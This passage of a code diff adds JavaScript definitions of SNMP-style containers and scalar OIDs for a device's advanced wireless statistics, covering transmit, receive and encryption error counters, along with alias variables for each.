arWiFiClientInfoLastRxPktRate=WiFiClientInfoTable.WiFiClientInfoLastRxPktRate; +var arWiFiClientInfoRateSet=WiFiClientInfoTable.WiFiClientInfoRateSet; +var arWiFiClientInfoRSSI=WiFiClientInfoTable.WiFiClientInfoRSSI; + +var AdvanceWirelessStats = new Container("AdvanceWirelessStats", "1.3.6.1.4.1.4115.1.20.1.1.3.46"); +AdvanceWirelessStats.ResetCount= new Scalar("ResetCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.5",2); +AdvanceWirelessStats.TBTTCount= new Scalar("TBTTCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.6",2); +AdvanceWirelessStats.PMQOverflowCount= new Scalar("PMQOverflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.7",2); +AdvanceWirelessStats.PRTimeoutDropCount= new Scalar("PRTimeoutDropCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.8",2); +AdvanceWirelessStats.PSMWatchdogCount= new Scalar("PSMWatchdogCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.9",2); +AdvanceWirelessStats.PHYWatchdogCount= new Scalar("PHYWatchdogCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.10",2); +AdvanceWirelessStats.PRQEntriesHandled= new Scalar("PRQEntriesHandled","1.3.6.1.4.1.4115.1.20.1.1.3.46.11",2); +AdvanceWirelessStats.PRQUndirectedEntriesHandled= new Scalar("PRQUndirectedEntriesHandled","1.3.6.1.4.1.4115.1.20.1.1.3.46.12",2); +AdvanceWirelessStats.PRQBadEntriesHandled= new Scalar("PRQBadEntriesHandled","1.3.6.1.4.1.4115.1.20.1.1.3.46.13",2); +AdvanceWirelessStats.ATIMSuppressCount= new Scalar("ATIMSuppressCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.14",2); +AdvanceWirelessStats.BCNTemplateNotReadyCount= new Scalar("BCNTemplateNotReadyCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.15",2); +AdvanceWirelessStats.BCNTemplateNotReadyDoneCount= new Scalar("BCNTemplateNotReadyDoneCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.16",2); +AdvanceWirelessStats.LateTBTTDPCCount= new Scalar("LateTBTTDPCCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.17",2); +AdvanceWirelessStats.PktEngineUnicastRxFramesCount= new Scalar("PktEngineUnicastRxFramesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.18",2); +AdvanceWirelessStats.PktEngineMulticastRxFramesCount= new Scalar("PktEngineMulticastRxFramesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.19",2); +AdvanceWirelessStats.RadioDisablesCount= new Scalar("RadioDisablesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.20",2); +AdvanceWirelessStats.BPHYGlitchCount= new Scalar("BPHYGlitchCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.21",2); +AdvanceWirelessStats.SGITransmitCount= new Scalar("SGITransmitCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.22",2); +AdvanceWirelessStats.SGIReceiveCount= new Scalar("SGIReceiveCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.23",2); +AdvanceWirelessStats.STBCTransmitCount= new Scalar("STBCTransmitCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.24",2); +AdvanceWirelessStats.STBCReceiveCount= new Scalar("STBCReceiveCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.25",2); +var arResetCount=AdvanceWirelessStats.ResetCount; +var arTBTTCount=AdvanceWirelessStats.TBTTCount; +var arPMQOverflowCount=AdvanceWirelessStats.PMQOverflowCount; +var arPRTimeoutDropCount=AdvanceWirelessStats.PRTimeoutDropCount; +var arPSMWatchdogCount=AdvanceWirelessStats.PSMWatchdogCount; +var arPHYWatchdogCount=AdvanceWirelessStats.PHYWatchdogCount; +var arPRQEntriesHandled=AdvanceWirelessStats.PRQEntriesHandled; +var arPRQUndirectedEntriesHandled=AdvanceWirelessStats.PRQUndirectedEntriesHandled; +var arPRQBadEntriesHandled=AdvanceWirelessStats.PRQBadEntriesHandled; +var arATIMSuppressCount=AdvanceWirelessStats.ATIMSuppressCount; +var arBCNTemplateNotReadyCount=AdvanceWirelessStats.BCNTemplateNotReadyCount; +var arBCNTemplateNotReadyDoneCount=AdvanceWirelessStats.BCNTemplateNotReadyDoneCount; +var arLateTBTTDPCCount=AdvanceWirelessStats.LateTBTTDPCCount; +var arPktEngineUnicastRxFramesCount=AdvanceWirelessStats.PktEngineUnicastRxFramesCount; +var arPktEngineMulticastRxFramesCount=AdvanceWirelessStats.PktEngineMulticastRxFramesCount; +var arRadioDisablesCount=AdvanceWirelessStats.RadioDisablesCount; +var arBPHYGlitchCount=AdvanceWirelessStats.BPHYGlitchCount; +var arSGITransmitCount=AdvanceWirelessStats.SGITransmitCount; +var arSGIReceiveCount=AdvanceWirelessStats.SGIReceiveCount; +var arSTBCTransmitCount=AdvanceWirelessStats.STBCTransmitCount; +var arSTBCReceiveCount=AdvanceWirelessStats.STBCReceiveCount; + +var AdvanceWirelessStatsXmit = new Container("AdvanceWirelessStatsXmit", "1.3.6.1.4.1.4115.1.20.1.1.3.46.1"); +AdvanceWirelessStatsXmit.TxFrameCount= new Scalar("TxFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.1",2); +AdvanceWirelessStatsXmit.TxBytesCount= new Scalar("TxBytesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.2",2); +AdvanceWirelessStatsXmit.TxRetransmitCount= new Scalar("TxRetransmitCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.3",2); +AdvanceWirelessStatsXmit.TxErrorCount= new Scalar("TxErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.4",2); +AdvanceWirelessStatsXmit.TxMgmtFrames= new Scalar("TxMgmtFrames","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.5",2); +AdvanceWirelessStatsXmit.TxShortPreambleFrames= new Scalar("TxShortPreambleFrames","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.6",2); +AdvanceWirelessStatsXmit.TxStatusErrors= new Scalar("TxStatusErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.7",2); +AdvanceWirelessStatsXmit.TxOutOfBufsErrors= new Scalar("TxOutOfBufsErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.8",2); +AdvanceWirelessStatsXmit.TxNoAssocErrors= new Scalar("TxNoAssocErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.9",2); +AdvanceWirelessStatsXmit.TxRuntCount= new Scalar("TxRuntCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.10",2); +AdvanceWirelessStatsXmit.TxHeaderCacheHit= new Scalar("TxHeaderCacheHit","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.11",2); +AdvanceWirelessStatsXmit.TxHeaderCacheMiss= new Scalar("TxHeaderCacheMiss","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.12",2); +AdvanceWirelessStatsXmit.TxFIFOUnderflows= new Scalar("TxFIFOUnderflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.13",2); +AdvanceWirelessStatsXmit.TxPhyErrors= new Scalar("TxPhyErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.14",2); +AdvanceWirelessStatsXmit.TxPhyCRS= new Scalar("TxPhyCRS","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.15",2); +AdvanceWirelessStatsXmit.TxAllFrameCount= new Scalar("TxAllFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.16",2); +AdvanceWirelessStatsXmit.TxDMAWarCount= new Scalar("TxDMAWarCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.17",2); +AdvanceWirelessStatsXmit.TxRTSFrameCount= new Scalar("TxRTSFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.18",2); +AdvanceWirelessStatsXmit.TxCTSFrameCount= new Scalar("TxCTSFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.19",2); +AdvanceWirelessStatsXmit.TxAckFrameCount= new Scalar("TxAckFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.20",2); +AdvanceWirelessStatsXmit.TxDNLFrameCount= new Scalar("TxDNLFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.21",2); +AdvanceWirelessStatsXmit.TxBeaconFrameCount= new Scalar("TxBeaconFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.22",2); +AdvanceWirelessStatsXmit.TxUnderflowCount= new Scalar("TxUnderflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.23",4,1); +AdvanceWirelessStatsXmit.TxTemplateUnderflowCount= new Scalar("TxTemplateUnderflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.24",2); +AdvanceWirelessStatsXmit.TxBeaconsCanceledCount= new Scalar("TxBeaconsCanceledCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.25",2); +AdvanceWirelessStatsXmit.TxFIFOOverflows= new Scalar("TxFIFOOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.26",2); +AdvanceWirelessStatsXmit.TxPRFailures= new Scalar("TxPRFailures","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.27",2); +AdvanceWirelessStatsXmit.TxPRSuccess= new Scalar("TxPRSuccess","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.28",2); +AdvanceWirelessStatsXmit.TxAfterburnerNACKCount= new Scalar("TxAfterburnerNACKCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.29",2); +AdvanceWirelessStatsXmit.TxFragmentCount= new Scalar("TxFragmentCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.30",2); +AdvanceWirelessStatsXmit.TxMulticastCount= new Scalar("TxMulticastCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.31",2); +AdvanceWirelessStatsXmit.TxFailureCount= new Scalar("TxFailureCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.32",2); +AdvanceWirelessStatsXmit.TxRetryCount= new Scalar("TxRetryCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.33",2); +AdvanceWirelessStatsXmit.TxMultipleRetryCount= new Scalar("TxMultipleRetryCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.34",2); +AdvanceWirelessStatsXmit.TxRTSSuccessCount= new Scalar("TxRTSSuccessCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.35",2); +AdvanceWirelessStatsXmit.TxRTSFailCount= new Scalar("TxRTSFailCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.36",2); +AdvanceWirelessStatsXmit.TxAckFailCount= new Scalar("TxAckFailCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.37",2); +AdvanceWirelessStatsXmit.TxFrameCountDot11= new Scalar("TxFrameCountDot11","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.38",2); +AdvanceWirelessStatsXmit.TxChannelRejectFrameCount= new Scalar("TxChannelRejectFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.39",2); +AdvanceWirelessStatsXmit.TxTimerExpirationFrameCount= new Scalar("TxTimerExpirationFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.40",2); +AdvanceWirelessStatsXmit.TxGlitchNACKCount= new Scalar("TxGlitchNACKCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.41",2); +var arTxFrameCount=AdvanceWirelessStatsXmit.TxFrameCount; +var arTxBytesCount=AdvanceWirelessStatsXmit.TxBytesCount; +var arTxRetransmitCount=AdvanceWirelessStatsXmit.TxRetransmitCount; +var arTxErrorCount=AdvanceWirelessStatsXmit.TxErrorCount; +var arTxMgmtFrames=AdvanceWirelessStatsXmit.TxMgmtFrames; +var arTxShortPreambleFrames=AdvanceWirelessStatsXmit.TxShortPreambleFrames; +var arTxStatusErrors=AdvanceWirelessStatsXmit.TxStatusErrors; +var arTxOutOfBufsErrors=AdvanceWirelessStatsXmit.TxOutOfBufsErrors; +var arTxNoAssocErrors=AdvanceWirelessStatsXmit.TxNoAssocErrors; +var arTxRuntCount=AdvanceWirelessStatsXmit.TxRuntCount; +var arTxHeaderCacheHit=AdvanceWirelessStatsXmit.TxHeaderCacheHit; +var arTxHeaderCacheMiss=AdvanceWirelessStatsXmit.TxHeaderCacheMiss; +var arTxFIFOUnderflows=AdvanceWirelessStatsXmit.TxFIFOUnderflows; +var arTxPhyErrors=AdvanceWirelessStatsXmit.TxPhyErrors; +var arTxPhyCRS=AdvanceWirelessStatsXmit.TxPhyCRS; +var arTxAllFrameCount=AdvanceWirelessStatsXmit.TxAllFrameCount; +var arTxDMAWarCount=AdvanceWirelessStatsXmit.TxDMAWarCount; +var arTxRTSFrameCount=AdvanceWirelessStatsXmit.TxRTSFrameCount; +var arTxCTSFrameCount=AdvanceWirelessStatsXmit.TxCTSFrameCount; +var arTxAckFrameCount=AdvanceWirelessStatsXmit.TxAckFrameCount; +var arTxDNLFrameCount=AdvanceWirelessStatsXmit.TxDNLFrameCount; +var arTxBeaconFrameCount=AdvanceWirelessStatsXmit.TxBeaconFrameCount; +var arTxUnderflowCount=AdvanceWirelessStatsXmit.TxUnderflowCount; +var arTxTemplateUnderflowCount=AdvanceWirelessStatsXmit.TxTemplateUnderflowCount; +var arTxBeaconsCanceledCount=AdvanceWirelessStatsXmit.TxBeaconsCanceledCount; +var arTxFIFOOverflows=AdvanceWirelessStatsXmit.TxFIFOOverflows; +var arTxPRFailures=AdvanceWirelessStatsXmit.TxPRFailures; +var arTxPRSuccess=AdvanceWirelessStatsXmit.TxPRSuccess; +var arTxAfterburnerNACKCount=AdvanceWirelessStatsXmit.TxAfterburnerNACKCount; +var arTxFragmentCount=AdvanceWirelessStatsXmit.TxFragmentCount; +var arTxMulticastCount=AdvanceWirelessStatsXmit.TxMulticastCount; +var arTxFailureCount=AdvanceWirelessStatsXmit.TxFailureCount; +var arTxRetryCount=AdvanceWirelessStatsXmit.TxRetryCount; +var arTxMultipleRetryCount=AdvanceWirelessStatsXmit.TxMultipleRetryCount; +var arTxRTSSuccessCount=AdvanceWirelessStatsXmit.TxRTSSuccessCount; +var arTxRTSFailCount=AdvanceWirelessStatsXmit.TxRTSFailCount; +var arTxAckFailCount=AdvanceWirelessStatsXmit.TxAckFailCount; +var arTxFrameCountDot11=AdvanceWirelessStatsXmit.TxFrameCountDot11; +var arTxChannelRejectFrameCount=AdvanceWirelessStatsXmit.TxChannelRejectFrameCount; +var arTxTimerExpirationFrameCount=AdvanceWirelessStatsXmit.TxTimerExpirationFrameCount; +var arTxGlitchNACKCount=AdvanceWirelessStatsXmit.TxGlitchNACKCount; + +var AdvanceWirelessStatsRecv = new Container("AdvanceWirelessStatsRecv", "1.3.6.1.4.1.4115.1.20.1.1.3.46.2"); +AdvanceWirelessStatsRecv.RxFrame= new Scalar("RxFrame","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.1",2); +AdvanceWirelessStatsRecv.RxBytes= new Scalar("RxBytes","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.2",2); +AdvanceWirelessStatsRecv.RxError= new Scalar("RxError","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.3",2); +AdvanceWirelessStatsRecv.RxCtl= new Scalar("RxCtl","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.4",2); +AdvanceWirelessStatsRecv.RxNoBufs= new Scalar("RxNoBufs","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.5",2); +AdvanceWirelessStatsRecv.RxNonDataErrors= new Scalar("RxNonDataErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.6",2); +AdvanceWirelessStatsRecv.RxBadDSErrors= new Scalar("RxBadDSErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.7",2); +AdvanceWirelessStatsRecv.RxBadCMErrors= new Scalar("RxBadCMErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.8",2); +AdvanceWirelessStatsRecv.RxFragErrors= new Scalar("RxFragErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.9",2); +AdvanceWirelessStatsRecv.RxRuntCount= new Scalar("RxRuntCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.10",2); +AdvanceWirelessStatsRecv.RxGiantCount= new Scalar("RxGiantCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.11",2); +AdvanceWirelessStatsRecv.RxNoSCBErrorCount= new Scalar("RxNoSCBErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.12",2); +AdvanceWirelessStatsRecv.RxBadProtoErrorCount= new Scalar("RxBadProtoErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.13",2); +AdvanceWirelessStatsRecv.RxBadSrcMACErrorCount= new Scalar("RxBadSrcMACErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.14",2); +AdvanceWirelessStatsRecv.RxBadDAErrorCount= new Scalar("RxBadDAErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.15",2); +AdvanceWirelessStatsRecv.RxFilterCount= new Scalar("RxFilterCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.16",2); +AdvanceWirelessStatsRecv.RxUnderflowCount= new Scalar("RxUnderflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.17",4,1); +AdvanceWirelessStatsRecv.RxFrameTooLongCount= new Scalar("RxFrameTooLongCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.18",2); +AdvanceWirelessStatsRecv.RxFrameTooShortCount= new Scalar("RxFrameTooShortCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.19",2); +AdvanceWirelessStatsRecv.RxBadHeaderCount= new Scalar("RxBadHeaderCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.20",2); +AdvanceWirelessStatsRecv.RxBadFCSCount= new Scalar("RxBadFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.21",2); +AdvanceWirelessStatsRecv.RxBadPLCPCount= new Scalar("RxBadPLCPCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.22",2); +AdvanceWirelessStatsRecv.RxRSGlitchCount= new Scalar("RxRSGlitchCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.23",2); +AdvanceWirelessStatsRecv.RxGoodPLCPCount= new Scalar("RxGoodPLCPCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.24",2); +AdvanceWirelessStatsRecv.RxDataGoodFCSCount= new Scalar("RxDataGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.25",2); +AdvanceWirelessStatsRecv.RxMgmtGoodFCSCount= new Scalar("RxMgmtGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.26",2); +AdvanceWirelessStatsRecv.RxControlGoodFCSCount= new Scalar("RxControlGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.27",2); +AdvanceWirelessStatsRecv.RxRTSGoodFCSCount= new Scalar("RxRTSGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.28",2); +AdvanceWirelessStatsRecv.RxCTSGoodFCSCount= new Scalar("RxCTSGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.29",2); +AdvanceWirelessStatsRecv.RxAcksGoodFCSCount= new Scalar("RxAcksGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.30",2); +AdvanceWirelessStatsRecv.RxDataGoodFCSNoRACount= new Scalar("RxDataGoodFCSNoRACount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.31",2); +AdvanceWirelessStatsRecv.RxMgmtGoodFCSNoRACount= new Scalar("RxMgmtGoodFCSNoRACount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.32",2); +AdvanceWirelessStatsRecv.RxCTRLGoodFCSNoRACount= new Scalar("RxCTRLGoodFCSNoRACount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.33",2); +AdvanceWirelessStatsRecv.RxRTSNoMACCount= new Scalar("RxRTSNoMACCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.34",2); +AdvanceWirelessStatsRecv.RxCTSNoMACCount= new Scalar("RxCTSNoMACCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.35",2); +AdvanceWirelessStatsRecv.RxMulticastDataCount= new Scalar("RxMulticastDataCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.36",2); +AdvanceWirelessStatsRecv.RxMulticastMgmtCount= new Scalar("RxMulticastMgmtCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.37",2); +AdvanceWirelessStatsRecv.RxMulticastCtlCount= new Scalar("RxMulticastCtlCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.38",2); +AdvanceWirelessStatsRecv.RxMemberBeaconCount= new Scalar("RxMemberBeaconCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.39",2); +AdvanceWirelessStatsRecv.RxWDSFrameCount= new Scalar("RxWDSFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.40",2); +AdvanceWirelessStatsRecv.RxOtherBeaconCount= new Scalar("RxOtherBeaconCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.41",2); +AdvanceWirelessStatsRecv.RxTimeoutsCount= new Scalar("RxTimeoutsCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.42",2); +AdvanceWirelessStatsRecv.RxFiFoZeroOverflows= new Scalar("RxFiFoZeroOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.43",2); +AdvanceWirelessStatsRecv.RxFiFoOneOverflows= new Scalar("RxFiFoOneOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.44",2); +AdvanceWirelessStatsRecv.RxFiFoTwoOverflows= new Scalar("RxFiFoTwoOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.45",2); +AdvanceWirelessStatsRecv.RxPRQFIFOCount= new Scalar("RxPRQFIFOCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.46",2); +AdvanceWirelessStatsRecv.RxPRQOverflowCount= new Scalar("RxPRQOverflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.47",2); +AdvanceWirelessStatsRecv.RxAfterburnerNACKCount= new Scalar("RxAfterburnerNACKCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.48",2); +AdvanceWirelessStatsRecv.RxAfterburnerConsumedCount= new Scalar("RxAfterburnerConsumedCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.49",2); +AdvanceWirelessStatsRecv.RxFrameDuplicateCount= new Scalar("RxFrameDuplicateCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.50",2); +AdvanceWirelessStatsRecv.RxFragmentCount= new Scalar("RxFragmentCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.51",2); +AdvanceWirelessStatsRecv.RxMulticastCount= new Scalar("RxMulticastCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.52",2); +AdvanceWirelessStatsRecv.RxFCSErrorCount= new Scalar("RxFCSErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.53",2); +var arRxFrame=AdvanceWirelessStatsRecv.RxFrame; +var arRxBytes=AdvanceWirelessStatsRecv.RxBytes; +var arRxError=AdvanceWirelessStatsRecv.RxError; +var arRxCtl=AdvanceWirelessStatsRecv.RxCtl; +var arRxNoBufs=AdvanceWirelessStatsRecv.RxNoBufs; +var arRxNonDataErrors=AdvanceWirelessStatsRecv.RxNonDataErrors; +var arRxBadDSErrors=AdvanceWirelessStatsRecv.RxBadDSErrors; +var arRxBadCMErrors=AdvanceWirelessStatsRecv.RxBadCMErrors; +var arRxFragErrors=AdvanceWirelessStatsRecv.RxFragErrors; +var arRxRuntCount=AdvanceWirelessStatsRecv.RxRuntCount; +var arRxGiantCount=AdvanceWirelessStatsRecv.RxGiantCount; +var arRxNoSCBErrorCount=AdvanceWirelessStatsRecv.RxNoSCBErrorCount; +var arRxBadProtoErrorCount=AdvanceWirelessStatsRecv.RxBadProtoErrorCount; +var arRxBadSrcMACErrorCount=AdvanceWirelessStatsRecv.RxBadSrcMACErrorCount; +var arRxBadDAErrorCount=AdvanceWirelessStatsRecv.RxBadDAErrorCount; +var arRxFilterCount=AdvanceWirelessStatsRecv.RxFilterCount; +var arRxUnderflowCount=AdvanceWirelessStatsRecv.RxUnderflowCount; +var arRxFrameTooLongCount=AdvanceWirelessStatsRecv.RxFrameTooLongCount; +var arRxFrameTooShortCount=AdvanceWirelessStatsRecv.RxFrameTooShortCount; +var arRxBadHeaderCount=AdvanceWirelessStatsRecv.RxBadHeaderCount; +var arRxBadFCSCount=AdvanceWirelessStatsRecv.RxBadFCSCount; +var arRxBadPLCPCount=AdvanceWirelessStatsRecv.RxBadPLCPCount; +var arRxRSGlitchCount=AdvanceWirelessStatsRecv.RxRSGlitchCount; +var arRxGoodPLCPCount=AdvanceWirelessStatsRecv.RxGoodPLCPCount; +var arRxDataGoodFCSCount=AdvanceWirelessStatsRecv.RxDataGoodFCSCount; +var arRxMgmtGoodFCSCount=AdvanceWirelessStatsRecv.RxMgmtGoodFCSCount; +var arRxControlGoodFCSCount=AdvanceWirelessStatsRecv.RxControlGoodFCSCount; +var arRxRTSGoodFCSCount=AdvanceWirelessStatsRecv.RxRTSGoodFCSCount; +var arRxCTSGoodFCSCount=AdvanceWirelessStatsRecv.RxCTSGoodFCSCount; +var arRxAcksGoodFCSCount=AdvanceWirelessStatsRecv.RxAcksGoodFCSCount; +var arRxDataGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxDataGoodFCSNoRACount; +var arRxMgmtGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxMgmtGoodFCSNoRACount; +var arRxCTRLGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxCTRLGoodFCSNoRACount; +var arRxRTSNoMACCount=AdvanceWirelessStatsRecv.RxRTSNoMACCount; +var arRxCTSNoMACCount=AdvanceWirelessStatsRecv.RxCTSNoMACCount; +var arRxMulticastDataCount=AdvanceWirelessStatsRecv.RxMulticastDataCount; +var arRxMulticastMgmtCount=AdvanceWirelessStatsRecv.RxMulticastMgmtCount; +var arRxMulticastCtlCount=AdvanceWirelessStatsRecv.RxMulticastCtlCount; +var arRxMemberBeaconCount=AdvanceWirelessStatsRecv.RxMemberBeaconCount; +var arRxWDSFrameCount=AdvanceWirelessStatsRecv.RxWDSFrameCount; +var arRxOtherBeaconCount=AdvanceWirelessStatsRecv.RxOtherBeaconCount; +var arRxTimeoutsCount=AdvanceWirelessStatsRecv.RxTimeoutsCount; +var arRxFiFoZeroOverflows=AdvanceWirelessStatsRecv.RxFiFoZeroOverflows; +var arRxFiFoOneOverflows=AdvanceWirelessStatsRecv.RxFiFoOneOverflows; +var arRxFiFoTwoOverflows=AdvanceWirelessStatsRecv.RxFiFoTwoOverflows; +var arRxPRQFIFOCount=AdvanceWirelessStatsRecv.RxPRQFIFOCount; +var arRxPRQOverflowCount=AdvanceWirelessStatsRecv.RxPRQOverflowCount; +var arRxAfterburnerNACKCount=AdvanceWirelessStatsRecv.RxAfterburnerNACKCount; +var arRxAfterburnerConsumedCount=AdvanceWirelessStatsRecv.RxAfterburnerConsumedCount; +var arRxFrameDuplicateCount=AdvanceWirelessStatsRecv.RxFrameDuplicateCount; +var arRxFragmentCount=AdvanceWirelessStatsRecv.RxFragmentCount; +var arRxMulticastCount=AdvanceWirelessStatsRecv.RxMulticastCount; +var arRxFCSErrorCount=AdvanceWirelessStatsRecv.RxFCSErrorCount; + +var AdvanceWirelessStatsEncrypt = new Container("AdvanceWirelessStatsEncrypt", "1.3.6.1.4.1.4115.1.20.1.1.3.46.3"); +AdvanceWirelessStatsEncrypt.WEPUndecryptableCount= new Scalar("WEPUndecryptableCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.1",2); +AdvanceWirelessStatsEncrypt.TKIPLocalMICFailureCount= new Scalar("TKIPLocalMICFailureCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.2",2); +AdvanceWirelessStatsEncrypt.TKIPCounterMeasuresInvoked= new Scalar("TKIPCounterMeasuresInvoked","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.3",2); +AdvanceWirelessStatsEncrypt.TKIPReplayCount= new Scalar("TKIPReplayCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.4",2); +AdvanceWirelessStatsEncrypt.AESFormatErrorCount= new Scalar("AESFormatErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.5",2); +AdvanceWirelessStatsEncrypt.AESReplaysCount= new Scalar("AESReplaysCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.6",2); +AdvanceWirelessStatsEncrypt.AESDecryptErrorCount= new Scalar("AESDecryptErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.7",2); +AdvanceWirelessStatsEncrypt.FourWayHandshakeFails= new Scalar("FourWayHandshakeFails","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.8",2); +AdvanceWirelessStatsEncrypt.WEPPICVErrorCount= new Scalar("WEPPICVErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.9",2); +AdvanceWirelessStatsEncrypt.DecryptSuccessCount= new Scalar("DecryptSuccessCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.10",2); +AdvanceWirelessStatsEncrypt.TKIPPICVErrorCount= new Scalar("TKIPPICVErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.11",2); +AdvanceWirelessStatsEncrypt.WEPExcludedCount= new Scalar("WEPExcludedCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.12",2); +var 